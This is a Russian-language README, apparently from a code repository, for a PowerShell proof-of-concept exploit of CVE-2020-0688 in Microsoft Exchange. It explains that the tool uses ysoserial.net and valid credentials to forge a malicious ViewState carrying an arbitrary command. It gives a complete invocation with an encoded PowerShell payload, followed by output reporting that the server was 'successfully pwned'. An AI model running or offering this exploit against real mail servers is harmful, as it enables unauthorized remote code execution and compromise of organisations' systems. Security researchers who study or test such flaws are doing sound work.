
PoC для Forgot2kEyXCHANGE (CVE-2020-0688), написанный на PowerShell
PoC для Forgot2kEyXCHANGE (CVE-2020-0688), написанный на PowerShell
Для работы этого PoC требуются действующие имя пользователя и пароль.
Этот PoC использует ysoserial.net для создания нового ViewState, содержащего команду, указанную вами в параметре -Command. Если он ещё не установлен в вашей системе, скачайте его здесь.
PS> . .\PSForgot2kEyXCHANGE.ps1
PS> Invoke-Forgot2kEyXCHANG -Server 'https://webmail.domain.tld' -User '[email protected]' -Password 'Summer2020!' -Command 'cmd /c powershell.exe -en dwByAGkAdABlAC0AaABvAHMAdAAgACcASQAnAG0AIABhACAAcwB0AGkAbgBrAHkAIABzAGsAaQBkACAAdwBoAG8AIAByAHUAbgBzACAAcgBhAG4AZABvAG0AIABjAG8AZABlACAAOgApACcA=' -YsoserialPath 'C:\tools\ysoserial.net\ysoserial.exe'
[+] Login successfully!
[+] Generated new ViewState successfully!
[+] Got a 500 response, successfully pwned https://webmail.domain.tld !
Не стесняйтесь открывать issues, вносить вклад и отправлять свои Pull Requests. Также можете написать мне в Twitter (@JustinPerdok).